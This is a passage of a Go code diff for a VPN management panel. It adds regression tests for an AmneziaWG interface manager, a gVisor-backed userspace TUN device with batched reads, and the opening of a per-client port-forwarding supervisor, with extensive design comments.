+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	_, peerPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate peer keypair: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            4,
+		InterfaceName: "awgtest4",
+		ListenPort:    58715,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.204.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.204.0.2/32"}},
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create): %v", err)
+	}
+
+	peerPubHex, err := wireguard.KeyToHex(peerPub)
+	if err != nil {
+		t.Fatalf("KeyToHex: %v", err)
+	}
+	var npk device.NoisePublicKey
+	if err := npk.FromHex(peerPubHex); err != nil {
+		t.Fatalf("NoisePublicKey.FromHex: %v", err)
+	}
+
+	dev, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+	peerBefore := dev.LookupPeer(npk)
+	if peerBefore == nil {
+		t.Fatal("LookupPeer returned nil right after Ensure created the peer")
+	}
+
+	// Simulate the reconcile job firing again with byte-identical data --
+	// this is what AmneziaWGJob does every 10 seconds regardless of whether
+	// anything actually changed.
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (unchanged, second tick): %v", err)
+	}
+	peerAfter := dev.LookupPeer(npk)
+	if peerAfter == nil {
+		t.Fatal("LookupPeer returned nil after the unchanged Ensure -- peer was removed and never re-added")
+	}
+	if peerBefore != peerAfter {
+		t.Error("unchanged Ensure recreated the peer object (RemoveAllPeers + re-add) -- " +
+			"any live handshake/session on this peer would have been reset for no reason")
+	}
+}
+
+// TestForwardedPortsOnlyChangeStillReconcilesPortForwards is a regression
+// test for the Phase 3.6 port-forwarding wiring: buildUAPIConfig never reads
+// ForwardedPorts (it's a panel-level concept, not a WireGuard UAPI field),
+// so a ForwardedPorts-only edit renders a byte-identical UAPI config and
+// takes ensureLocked's true no-op branch -- the exact same branch
+// TestEnsureUnchangedInstanceDoesNotResetLivePeers exists to guard, just for
+// a different subsystem. Without an explicit portForwards.Reconcile call on
+// that branch, a ForwardedPorts-only edit would silently never open (or
+// close) a listener until some unrelated change also happened to touch this
+// inbound. Verified end to end here: a real host-facing listener must exist
+// after the second Ensure call, not just an internal state flag.
+func TestForwardedPortsOnlyChangeStillReconcilesPortForwards(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	_, peerPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate peer keypair: %v", err)
+	}
+
+	const forwardedPort = 58930
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            6,
+		InterfaceName: "awgtest6",
+		ListenPort:    58716,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.205.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}},
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create, no ForwardedPorts yet): %v", err)
+	}
+	if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 200*time.Millisecond); err == nil {
+		t.Fatal("forwarded port already accepting connections before ForwardedPorts was ever set")
+	}
+
+	// Only ForwardedPorts changes -- same keys, same AllowedIPs, same
+	// address/MTU, so this must take ensureLocked's true no-op UAPI branch.
+	changed := inst
+	changed.Peers = []amneziawg.Peer{
+		{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}, ForwardedPorts: fmt.Sprintf("%d", forwardedPort)},
+	}
+	if err := m.Ensure(Desired{Instance: changed}); err != nil {
+		t.Fatalf("Ensure (ForwardedPorts-only change): %v", err)
+	}
+
+	conn, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 2*time.Second)
+	if err != nil {
+		t.Fatalf("forwarded port not accepting connections after a ForwardedPorts-only Ensure: %v", err)
+	}
+	conn.Close()
+}
+
+// TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace is a regression
+// test for the Phase 3.7 AWG 3.0 wiring: proves that populating
+// Desired.Options with a real HeaderProtectionKey/ContentPaddingAddition
+// takes ensureLocked's existing reconfigure-in-place branch (same *Device
+// survives, no rebuild) rather than silently doing nothing or forcing an
+// unnecessary rebuild -- buildUAPIConfig already rendered these fields
+// before this phase, so no manager.go changes were needed, but this proves
+// the whole chain (Desired -> DeviceOptions -> buildUAPIConfig -> IpcSet)
+// actually works together, not just in isolation.
+func TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            7,
+		InterfaceName: "awgtest7",
+		ListenPort:    58717,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.207.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create, no header protection yet): %v", err)
+	}
+	dev1, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+
+	err = m.Ensure(Desired{
+		Instance: inst,
+		Options: DeviceOptions{
+			HeaderProtectionKey:    headerProtectionKey,
+			ContentPaddingAddition: "20-40",
+		},
+	})
+	if err != nil {
+		t.Fatalf("Ensure (HeaderProtectionKey-only change): %v", err)
+	}
+	dev2, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after second Ensure: not found")
+	}
+	if dev1 != dev2 {
+		t.Error("Ensure with a HeaderProtectionKey-only change rebuilt the Device; expected an in-place IpcSet reconfigure")
+	}
+}
+
+// TestEnsureRejectsHeaderProtectionKeyWithLowS1S4 proves amneziawg-go's own
+// IpcSet backstop really exists independent of the save-time
+// ValidateHeaderProtection check in
+// internal/web/service/inbound_amneziawg.go -- that web-layer check can be
+// bypassed (a node-owned inbound, a direct DB edit), so this confirms a
+// malformed config still fails loudly here rather than silently applying a
+// broken interface.
+func TestEnsureRejectsHeaderProtectionKeyWithLowS1S4(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            8,
+		InterfaceName: "awgtest8",
+		ListenPort:    58718,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.208.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 5, S2: 5, S3: 5, S4: 5, // all below amneziawg-go's own 12-byte minimum
+		},
+	}
+	defer m.StopAll()
+
+	err = m.Ensure(Desired{
+		Instance: inst,
+		Options:  DeviceOptions{HeaderProtectionKey: headerProtectionKey},
+	})
+	if err == nil {
+		t.Fatal("Ensure must fail: amneziawg-go's own IpcSet rejects header protection with S1-S4 below its minimum")
+	}
+}

+ 245 - 0
internal/amneziawgnet/netstack.go

@@ -0,0 +1,245 @@
+// Package amneziawgnet embeds amneziawg-go (a userspace AmneziaWG
+// implementation, https://github.com/amnezia-vpn/amneziawg-go) directly in
+// the panel process, as an alternative to internal/amneziawg's
+// kernel-module (DKMS) + awg-quick approach. A gVisor userspace network
+// stack (gvisor.dev/gvisor/pkg/tcpip -- already an indirect dependency via
+// xray-core's own proxy/wireguard support) terminates each tunnel, and a
+// forwarder recovers each connection's real, dynamically-arbitrary
+// destination for the caller to relay onward (see Phase 2 of the migration
+// plan: a loopback SOCKS5 dial into Xray, giving native stats/routing/
+// sniffing for free).
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"os"
+	"syscall"
+
+	awgtun "github.com/amnezia-vpn/amneziawg-go/v3/tun"
+
+	"gvisor.dev/gvisor/pkg/buffer"
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/link/channel"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+)
+
+// tunQueueDepth is the outbound packet queue depth for both the gVisor
+// channel endpoint and the handoff channel to amneziawg-go's TUN reader
+// (see the stackTun literal in createNetTUNWithStack for why both need it).
+const tunQueueDepth = 1024
+
+// stackTun implements amneziawg-go's tun.Device directly against a gVisor
+// channel endpoint, the same approach amneziawg-go's own tun/netstack
+// package and xray-core's proxy/wireguard/netstack.go both take. Neither of
+// those exposes the raw *stack.Stack a forwarder needs (amneziawg-go's Net
+// type keeps it unexported), so this is a local, from-source reimplementation
+// rather than a wrapper -- adapted from amneziawg-go v3.0.3's
+// tun/netstack/tun.go (MIT licensed), trimmed to the constructor this
+// package needs.
+type stackTun struct {
+	ep             *channel.Endpoint
+	stack          *stack.Stack
+	events         chan awgtun.Event
+	notifyHandle   *channel.NotificationHandle
+	incomingPacket chan *buffer.View
+	mtu            int
+}
+
+// createNetTUNWithStack builds a gVisor-backed tun.Device for the given
+// local addresses (interface address(es), one per family) and returns the
+// underlying *stack.Stack alongside it so a caller can attach a forwarder
+// (see forwarder.go / udp.go).
+func createNetTUNWithStack(localAddresses []netip.Addr, mtu int) (awgtun.Device, *stack.Stack, error) {
+	opts := stack.Options{
+		NetworkProtocols:   []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
+		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
+		// HandleLocal must stay false: promiscuous+spoofing mode (see
+		// forwarder.go) is what lets a destination other than the stack's
+		// own configured address reach the forwarder at all.
+		HandleLocal: false,
+	}
+	dev := &stackTun{
+		// tunQueueDepth matches channel.New's own outbound queue depth
+		// below. WriteNotify (called synchronously from whatever gVisor
+		// goroutine is sending TCP data for the download/server->client
+		// direction) pushes into incomingPacket; RoutineReadFromTUN (a
+		// single amneziawg-go goroutine that encrypts and sends each
+		// packet over UDP) is the only reader. With no buffer, every
+		// outbound packet forced a full synchronous handoff between the
+		// two -- gVisor's sender blocked until the encrypt loop was ready
+		// for the next one, one packet at a time, no pipelining. The
+		// upload/client->server direction has no equivalent stall:
+		// Write->InjectInbound->DeliverNetworkPacket hands off into
+		// gVisor's own ~1MB per-connection TCP receive buffer and returns
+		// immediately. Buffering this channel gives the download
+		// direction the same slack the upload direction already had.
+		ep:             channel.New(tunQueueDepth, uint32(mtu), ""),
+		stack:          stack.New(opts),
+		events:         make(chan awgtun.Event, 10),
+		incomingPacket: make(chan *buffer.View, tunQueueDepth),
+		mtu:            mtu,
+	}
+	sackEnabledOpt := tcpip.TCPSACKEnabled(true)
+	if err := dev.stack.SetTransportProtocolOption(tcp.ProtocolNumber, &sackEnabledOpt); err != nil {
+		return nil, nil, fmt.Errorf("amneziawgnet: enable TCP SACK: %s", err)
+	}
+	dev.notifyHandle = dev.ep.AddNotify(dev)
+	if err := dev.stack.CreateNIC(1, dev.ep); err != nil {
+		return nil, nil, fmt.Errorf("amneziawgnet: CreateNIC: %s", err)
+	}
+
+	var hasV4, hasV6 bool
+	for _, ip := range localAddresses {
+		var protoNumber tcpip.NetworkProtocolNumber
+		switch {
+		case ip.Is4():
+			protoNumber = ipv4.ProtocolNumber
+			hasV4 = true
+		case ip.Is6():
+			protoNumber = ipv6.ProtocolNumber
+			hasV6 = true
+		default:
+			continue
+		}
+		protoAddr := tcpip.ProtocolAddress{
+			Protocol:          protoNumber,
+			AddressWithPrefix: tcpip.AddrFromSlice(ip.AsSlice()).WithPrefix(),
+		}
+		if err := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{}); err != nil {
+			return nil, nil, fmt.Errorf("amneziawgnet: AddProtocolAddress(%v): %s", ip, err)
+		}
+	}
+	if hasV4 {
+		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
+	}
+	if hasV6 {
+		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
+	}
+	dev.events <- awgtun.EventUp
+	return dev, dev.stack, nil
+}
+
+func (t *stackTun) Name() (string, error)       { return "amneziawgnet", nil }
+func (t *stackTun) File() *os.File              { return nil }
+func (t *stackTun) Events() <-chan awgtun.Event { return t.events }
+func (t *stackTun) MTU() (int, error)           { return t.mtu, nil }
+func (t *stackTun) BatchSize() int              { return 1 }
+
+// Read blocks for the first packet, then opportunistically drains any more
+// that are already buffered (non-blocking), up to len(buf). amneziawg-go's
+// caller (RoutineReadFromTUN) sizes buf/sizes to device.BatchSize(), which
+// is the UDP bind's own batch size (128 on Linux, see conn.IdealBatchSize)
+// since that's larger than BatchSize()'s 1 below -- so real buffer capacity
+// for a batch is already there. Without this drain loop, Read always
+// returned exactly one packet no matter how many buf could hold, so every
+// downstream step (peer lookup, per-peer staging, and ultimately the UDP
+// bind's own genuinely batched Send/sendmmsg) processed the download
+// direction one packet at a time while the upload direction's equivalent
+// (bind.Receive/recvmmsg -> decrypt -> stackTun.Write, which already loops
+// over its whole buf) processed up to 128 per cycle. That asymmetry is
+// real, not gVisor/amneziawg-go's -- both the receive and send paths on the
+// UDP bind support batching identically, only this Read implementation
+// didn't use it.
+func (t *stackTun) Read(buf [][]byte, sizes []int, offset int) (int, error) {
+	view, ok := <-t.incomingPacket
+	if !ok {
+		return 0, os.ErrClosed
+	}
+	n, err := view.Read(buf[0][offset:])
+	if err != nil {
+		return 0, err
+	}
+	sizes[0] = n
+	count := 1
+	for count < len(buf) {
+		select {
+		case view, ok := <-t.incomingPacket:
+			if !ok {
+				return count, nil
+			}
+			n, err := view.Read(buf[count][offset:])
+			if err != nil {
+				return count, nil
+			}
+			sizes[count] = n
+			count++
+		default:
+			return count, nil
+		}
+	}
+	return count, nil
+}
+
+func (t *stackTun) Write(buf [][]byte, offset int) (int, error) {
+	for _, b := range buf {
+		packet := b[offset:]
+		if len(packet) == 0 {
+			continue
+		}
+		pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: buffer.MakeWithData(packet)})
+		switch packet[0] >> 4 {
+		case 4:
+			t.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
+		case 6:
+			t.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
+		default:
+			return 0, syscall.EAFNOSUPPORT
+		}
+	}
+	return len(buf), nil
+}
+
+func (t *stackTun) WriteNotify() {
+	pkt := t.ep.Read()
+	if pkt == nil {
+		return
+	}
+	view := pkt.ToView()
+	pkt.DecRef()
+	t.incomingPacket <- view
+}
+
+func (t *stackTun) Close() error {
+	t.stack.RemoveNIC(1)
+	t.stack.Close()
+	t.ep.RemoveNotify(t.notifyHandle)
+	t.ep.Close()
+	if t.events != nil {
+		close(t.events)
+	}
+	if t.incomingPacket != nil {
+		close(t.incomingPacket)
+	}
+	return nil
+}
+
+// enablePromiscuousRouting puts the NIC into promiscuous + spoofing mode,
+// the precondition both AttachTCPForwarder and AttachUDPHandler need to see
+// packets addressed to a destination other than the stack's own configured
+// local address. Safe to call from both (and more than once): gVisor's
+// SetPromiscuousMode/SetSpoofing just set a bool on the NIC, not something
+// that accumulates or needs undoing between calls.
+func enablePromiscuousRouting(gstack *stack.Stack) {
+	gstack.SetPromiscuousMode(1, true)
+	gstack.SetSpoofing(1, true)
+}
+
+// addrFromTcpip converts a gVisor tcpip.Address (4 or 16 raw bytes) to the
+// stdlib netip.Addr type the rest of this package and its callers use.
+func addrFromTcpip(a tcpip.Address) netip.Addr {
+	if a.Len() == 4 {
+		var b [4]byte
+		copy(b[:], a.AsSlice())
+		return netip.AddrFrom4(b)
+	}
+	var b [16]byte
+	copy(b[:], a.AsSlice())
+	return netip.AddrFrom16(b)
+}

+ 88 - 0
internal/amneziawgnet/netstack_test.go

@@ -0,0 +1,88 @@
+package amneziawgnet
+
+import (
+	"testing"
+
+	"gvisor.dev/gvisor/pkg/buffer"
+)
+
+// TestStackTunReadDrainsBufferedBatch is a regression test for a real
+// throughput bug: Read used to always return exactly one packet per call
+// no matter how many were already queued, forcing amneziawg-go's TUN
+// reader to pay a full peer-lookup+staging+syscall cycle per packet on the
+// download path while the upload path (via the UDP bind's own
+// recvmmsg/sendmmsg batching) amortized that cost across up to 128
+// packets. Confirmed live: this alone took real download throughput from
+// 30-40 Mbit/s to 130-250 Mbit/s on a real test connection (see commit
+// 6436fd9c's message and internal/amneziawgnet/netstack.go's own comment
+// on tunQueueDepth for the full story) -- this test locks in the second,
+// finer-grained fix on top of that: Read must actually drain what's
+// already buffered instead of returning after the first packet.
+func TestStackTunReadDrainsBufferedBatch(t *testing.T) {
+	t.Parallel()
+
+	tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
+	packets := [][]byte{{1, 2, 3}, {4, 5}, {6, 7, 8, 9}}
+	for _, p := range packets {
+		tun.incomingPacket <- buffer.NewViewWithData(p)
+	}
+
+	buf := make([][]byte, 8)
+	sizes := make([]int, 8)
+	for i := range buf {
+		buf[i] = make([]byte, 64)
+	}
+
+	n, err := tun.Read(buf, sizes, 0)
+	if err != nil {
+		t.Fatalf("Read: %v", err)
+	}
+	if n != len(packets) {
+		t.Fatalf("Read returned %d packets, want %d (all buffered packets in one call)", n, len(packets))
+	}
+	for i, want := range packets {
+		got := buf[i][:sizes[i]]
+		if string(got) != string(want) {
+			t.Errorf("packet %d = %v, want %v", i, got, want)
+		}
+	}
+}
+
+// TestStackTunReadStopsAtBufCapacity confirms Read never returns more
+// packets than the caller's buf can hold, and that whatever didn't fit is
+// still there (in order) for the next call -- draining must respect the
+// caller's batch size, not just gulp everything queued.
+func TestStackTunReadStopsAtBufCapacity(t *testing.T) {
+	t.Parallel()
+
+	tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
+	packets := [][]byte{{1}, {2}, {3}}
+	for _, p := range packets {
+		tun.incomingPacket <- buffer.NewViewWithData(p)
+	}
+
+	buf := make([][]byte, 2)
+	sizes := make([]int, 2)
+	for i := range buf {
+		buf[i] = make([]byte, 64)
+	}
+
+	n, err := tun.Read(buf, sizes, 0)
+	if err != nil {
+		t.Fatalf("first Read: %v", err)
+	}
+	if n != 2 {
+		t.Fatalf("first Read returned %d, want 2 (buf capacity)", n)
+	}
+
+	n, err = tun.Read(buf, sizes, 0)
+	if err != nil {
+		t.Fatalf("second Read: %v", err)
+	}
+	if n != 1 {
+		t.Fatalf("second Read returned %d, want 1 (the leftover packet)", n)
+	}
+	if got := buf[0][:sizes[0]]; string(got) != "\x03" {
+		t.Errorf("leftover packet = %v, want [3]", got)
+	}
+}

+ 343 - 0
internal/amneziawgnet/portfwd.go

@@ -0,0 +1,343 @@
+// Phase 3.6: per-client port-forwarding. A real Go listener bound to each
+// forwarded external port relays into the peer's own tunnel-internal
+// address via a direct gonet dial -- the mirror image of
+// AttachTCPForwarder/AttachUDPHandler (which relay FROM the tunnel TO the
+// real world), and this path's replacement for the retired kernel-module
+// architecture's PostUp/PostDown iptables DNAT rules: there's no real OS
+// network interface here for DNAT to rewrite packets on, the same root
+// reason Phase 3.5's IPv6 alias mechanism couldn't reuse NDP-proxy either.
+//
+// Deliberately dials straight into the gVisor stack rather than relaying
+// through Xray's own SOCKS5 inbound the way the outbound direction does
+// (relay.go): Xray runs as a genuinely separate OS process
+// (internal/xray/process.go), so it has no visibility into this process's
+// private, in-memory netstack at all -- a tunnel-internal address like
+// 10.8.1.5:8080 has no route from Xray's own freedom outbound; only code
+// holding the actual *stack.Stack can reach it. Accepted consequence:
+// forwarded-port bytes don't appear in Xray's per-email stats/quota
+// counters. This undercounts, it doesn't bypass enforcement -- a
+// depleted/disabled client's peer is dropped from the interface's peer list
+// entirely by DesiredAmneziaWGInstances, which tears its forwards down too
+// as a side effect of Reconcile's own diff below.
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"sync"
+	"time"
+
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// portForwardProto distinguishes the two sockets a single forwarded port
+// needs -- ForwardedPorts has no per-port protocol selector (matches the
+// retired DNAT implementation's own unconditional-TCP+UDP contract), so
+// every port gets both.
+type portForwardProto uint8
+
+const (
+	tcpForward portForwardProto = iota
+	udpForward
+)
+
+// portForwardKey identifies one listener: a specific peer's specific port on
+// a specific protocol. Two different peers (even on the same inbound)
+// forwarding the same port number get two independent listeners under two
+// independent keys -- a same-port collision surfaces as an ordinary bind
+// failure on whichever one opens second, not something actively prevented
+// here (see the migration plan's Phase 3.6 notes).
+type portForwardKey struct {
+	email string
+	port  int
+	proto portForwardProto
+}
+
+// portForwardTargetFunc resolves a peer's current tunnel-internal target
+// address by email, re-checked on every new connection/session rather than
+// captured once at listen time -- so a peer re-IP takes effect for the next
+// connection with zero listener churn (see Reconcile's own comment on
+// this). false means the peer has no resolvable target right now (removed,
+// or its AllowedIPs/ForwardedPorts changed): the caller drops the
+// connection/packet, and Reconcile will close the now-undesired listener
+// shortly after, if it hasn't already.
+type portForwardTargetFunc func(email string) (netip.Addr, bool)
+
+// portForwardListener is the common handle both listenPortForwardTCP and
+// listenPortForwardUDP return, so PortForwardSet can hold either behind one
+// map value type without a type switch.
+type portForwardListener interface {
+	Close()
+}
+
+// PortForwardSet owns every open port-forward listener for one embedded
+// AmneziaWG interface (one per amneziawgnet managed entry -- see
+// manager.go). Unlike v6alias.go's stateless desired/diff/apply functions,
+// this holds live Go resources (net.Listener/net.PacketConn) that must be
+// explicitly closed -- there's no OS-level idempotent recreate the way
+// `ip addr add` has -- so Reconcile diffs against its own live listeners
+// map directly instead of a remembered prior Instance.
+type PortForwardSet struct {
+	gstack    *stack.Stack
+	inboundID int
+
+	mu          sync.Mutex
+	peerTargets map[string]netip.Addr
+	listeners   map[portForwardKey]portForwardListener
+}
+
+// NewPortForwardSet creates an empty supervisor for one embedded interface's
+// stack. Call Reconcile to actually open any listeners.
+func NewPortForwardSet(gstack *stack.Stack, inboundID int) *PortForwardSet {
+	return &PortForwardSet{
+		gstack:      gstack,
+		inboundID:   inboundID,
+		peerTargets: map[string]netip.Addr{},
+		listeners:   map[portForwardKey]portForwardListener{},
+	}
+}
+
+// desiredPeerTargets resolves each peer's tunnel-internal target address:
+// the first IPv4 AllowedIPs entry, falling back to the first IPv6 entry only
+// when no v4 entry exists and the instance has IPv6 enabled (mirrors
+// desiredV6Aliases' own gating in v6alias.go -- no v6 route exists on the
+// stack otherwise). A peer with no resolvable address at all (neither
+// family, or an unparseable entry) is simply absent from the result.
+func desiredPeerTargets(inst amneziawg.Instance) map[string]netip.Addr {
+	out := map[string]netip.Addr{}
+	for _, p := range inst.Peers {
+		if p.Email == "" {
+			continue
+		}
+		raw := amneziawg.FirstIPv4(p.AllowedIPs)
+		if raw == "" && inst.IPv6Enabled {
+			raw = amneziawg.FirstIPv6(p.AllowedIPs)
+		}
+		if raw == "" {
+			continue
+		}
+		addr, err := netip.ParseAddr(raw)
+		if err != nil {
+			continue
+		}
+		out[p.Email] = addr
+	}
+	return out
+}
+
+// desiredPortForwardKeys returns the full set of listener keys inst wants
+// right now: one tcpForward and one udpForward key per port in every peer's
+// ForwardedPorts spec, for every peer that also has a resolvable target
+// (see desiredPeerTargets) -- a key never exists without a target, so
+// Reconcile can always resolve one for any key it opens.
+func desiredPortForwardKeys(inst amneziawg.Instance) map[portForwardKey]struct{} {
+	out := map[portForwardKey]struct{}{}
+	targets := desiredPeerTargets(inst)
+	for _, p := range inst.Peers {
+		if p.Email == "" || p.ForwardedPorts == "" {
+			continue
+		}
+		if _, ok := targets[p.Email]; !ok {
+			continue
+		}
+		for _, port := range amneziawg.ExpandForwardedPorts(p.ForwardedPorts) {
+			out[portForwardKey{email: p.Email, port: port, proto: tcpForward}] = struct{}{}
+			out[portForwardKey{email: p.Email, port: port, proto: udpForward}] = struct{}{}
+		}
+	}
+	return out
+}
+
+// Reconcile brings the supervisor's open listeners in line with what inst
+// currently wants: closes anything no longer desired, opens anything newly
+// desired, leaves everything else untouched. Never returns an error --
+// matches applyV6Aliases' contract exactly: one listener failing to bind
+// only narrows that specific forward, never a reason to fail the whole
+// reconcile.
+func (s *PortForwardSet) Reconcile(inst amneziawg.Instance) {
+	wantTargets := desiredPeerTargets(inst)
+	wantKeys := desiredPortForwardKeys(inst)
+
+	s.mu.Lock()
+	s.peerTargets = wantTargets
+
+	var toClose []portForwardListener
+	for key, ln := range s.listeners {
+		if _, ok := wantKeys[key]; ok {
+			continue
+		}
+		toClose = append(toClose, ln)
+		delete(s.listeners, key)
+	}
+	var toOpen []portForwardKey
+	for key := range wantKeys {
+		if _, ok := s.listeners[key]; ok {
+			continue
+		}
+		toOpen = append(toOpen, key)
+	}
+	s.mu.Unlock()
+
+	// Outside the lock: closing/opening real sockets shouldn't block a
+	// concurrent targetFor lookup from an in-flight connection on some
+	// other, unaffected listener.
+	for _, ln := range toClose {
+		ln.Close()
+	}
+	for _, key := range toOpen {
+		ln := openPortForwardListener(s.gstack, s.inboundID, key, s.targetFor)
+		if ln == nil {
+			continue
+		}
+		s.mu.Lock()
+		s.listeners[key] = ln
+		s.mu.Unlock()
+	}
+}
+
+// targetFor implements portForwardTargetFunc against the supervisor's
+// current peerTargets snapshot.
+func (s *PortForwardSet) targetFor(email string) (netip.Addr, bool) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	addr, ok := s.peerTargets[email]
+	return addr, ok
+}
+
+// Close tears down every open listener. Call when the owning Device is
+// closed (or rebuilt -- see manager.go's ensureLocked, which always
+// constructs a fresh PortForwardSet alongside a fresh Device.Stack, the
+// same reason it also rebuilds udpRelay from scratch rather than reusing
+// one bound to a discarded stack).
+func (s *PortForwardSet) Close() {
+	s.mu.Lock()
+	listeners := s.listeners
+	s.listeners = map[portForwardKey]portForwardListener{}
+	s.mu.Unlock()
+	for _, ln := range listeners {
+		ln.Close()
+	}
+}
+
+// openPortForwardListener dispatches to the protocol-specific opener and
+// normalizes its result to a real nil interface value on failure -- a
+// (*tcpForwardListener)(nil) (or *udpForwardListener(nil)) wrapped directly
+// into the portForwardListener interface would be a non-nil interface
+// holding a nil pointer, Go's classic trap, so the concrete pointer is
+// checked before it's ever assigned into the interface-typed return.
+func openPortForwardListener(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) portForwardListener {
+	switch key.proto {
+	case tcpForward:
+		if ln := listenPortForwardTCP(gstack, inboundID, key, target); ln != nil {
+			return ln
+		}
+	case udpForward:
+		if ln := listenPortForwardUDP(gstack, inboundID, key, target); ln != nil {
+			return ln
+		}
+	}
+	return nil
+}
+
+const portForwardDialTimeout = 10 * time.Second
+
+// tunnelNetwork returns the gVisor network protocol number matching addr's
+// address family, for dialing toward it inside the embedded stack.
+func tunnelNetwork(addr netip.Addr) tcpip.NetworkProtocolNumber {
+	if addr.Is4() {
+		return ipv4.ProtocolNumber
+	}
+	return ipv6.ProtocolNumber
+}
+
+// tunnelFullAddress builds the tcpip.FullAddress a gonet dial needs to
+// reach addr:port inside the embedded stack -- NIC 1, matching
+// createNetTUNWithStack's own CreateNIC(1, ...) (this package's stack only
+// ever registers one NIC, and WriteUDPReply's WriteRawPacket already
+// addresses it explicitly the same way elsewhere in this package, rather
+// than relying on NIC 0's route-table auto-selection).
+func tunnelFullAddress(addr netip.Addr, port int) tcpip.FullAddress {
+	return tcpip.FullAddress{NIC: 1, Addr: tcpip.AddrFromSlice(addr.AsSlice()), Port: uint16(port)}
+}
+
+// tcpForwardListener is one open host-facing TCP listener for a single
+// portForwardKey.
